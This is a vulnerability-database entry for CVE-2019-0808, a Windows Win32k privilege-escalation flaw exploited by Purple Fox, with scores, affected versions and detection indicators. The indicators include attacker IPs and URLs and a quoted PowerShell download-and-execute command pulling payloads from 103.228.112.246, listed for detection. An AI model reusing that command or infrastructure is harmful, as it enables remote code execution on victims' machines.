cbcvebase.
CVE-2019-0808
published 2019-04-09

CVE-2019-0808: An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of…

PriorityP184high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-05-03
Exploited in the wild
EPSS
53.02%
99.0th percentile
An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2019-0797.

Affected

19 ranges
VendorProductVersion rangeFixed in
microsoftwindows——
microsoftwindows——
microsoftwindows_server——
microsoftwindows_server——
microsoftwindows_server——
microsoftwindows_server——
microsoftwindows_server——
microsoftwindows_server——
microsoftwindows_server——
microsoftwindows_server——
microsoftwindows_server_2008——
microsoftwindows_server_2012——
msrcwindows_7_for_32-bit_systems_service_pack_1——
msrcwindows_7_for_x64-based_systems_service_pack_1——
msrcwindows_server_2008_for_32-bit_systems_service_pack_2——
msrcwindows_server_2008_for_itanium-based_systems_service_pack_2——
msrcwindows_server_2008_for_x64-based_systems_service_pack_2——
msrcwindows_server_2008_r2_for_itanium-based_systems_service_pack_1——
msrcwindows_server_2008_r2_for_x64-based_systems_service_pack_1——

Detection & IOCsextracted from sources · hover to see the quote

hash82af45d8c057ef0cf1a61cc43290d21f37838dd1↗
hash6cac8138f1e7e64884494eff2b01c7b1df83aef2↗
hashe65c1a74275e7099347cbec3f9969f783d6f4f7d↗
filenamecve_2019_0808.exe↗
filenamecve_2019_0808.ps1↗
urlhttp://rawcdn.githack.cyou/up.php?key=1↗
domainspeedjudgmentacceleration.com↗
urlhttp://103.228.112.246:17881/57BC9B7E.Png↗
urlhttp://103.228.112.246:17881/0CFA042F.Png↗
ip103.228.112.246↗
ip117.187.136.141↗
registryHKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10}↗
pathC:\Windows\AppPatch\Acpsens.dll↗
filenamedbcode21mk.log↗
filenamesetupact64.log↗
commandcmd.exe /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp://103.228.112.246:17881/57BC9B7E.Png');MsiMake hxxp://103.228.112.246:17881/0CFA042F.Png"↗
  • →CVE-2019-0808 exploit binary compiled on 10 September 2020; PDB path reveals it was sourced from a public GitHub repository named CVE-2019-0808 ↗
  • →CVE-2019-0808 is targeted specifically against Windows 7 / Windows Server 2008 systems missing KB4489878, KB4489885, or KB2882822; check for absence of these hotfixes as a detection signal ↗
  • →Purple Fox payload uses steganography to embed LPE exploit binaries inside image files (key=3 & key=4); detect by inspecting pixel-level LSB encoding in downloaded images combined with IEX execution ↗
  • →Purple Fox MSI drops a VMProtect-protected DLL; PE section names starting with '.vmp' indicate VMProtect packing and should be flagged during file scanning ↗
  • ·CVE-2019-0808 exploitation in the PurpleFox context targets only Windows 7 / Windows Server 2008 (64-bit); the exploit bundle script checks the OS version before selecting this CVE ↗
  • ·The exploit code for CVE-2019-0808 used by Purple Fox was sourced from a publicly available GitHub repository, meaning the binary may vary across actors who recompile it ↗

CVSS provenance

nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
vulncheck7.8HIGH
cisa7.8HIGH
vendor_msrc7.0HIGH
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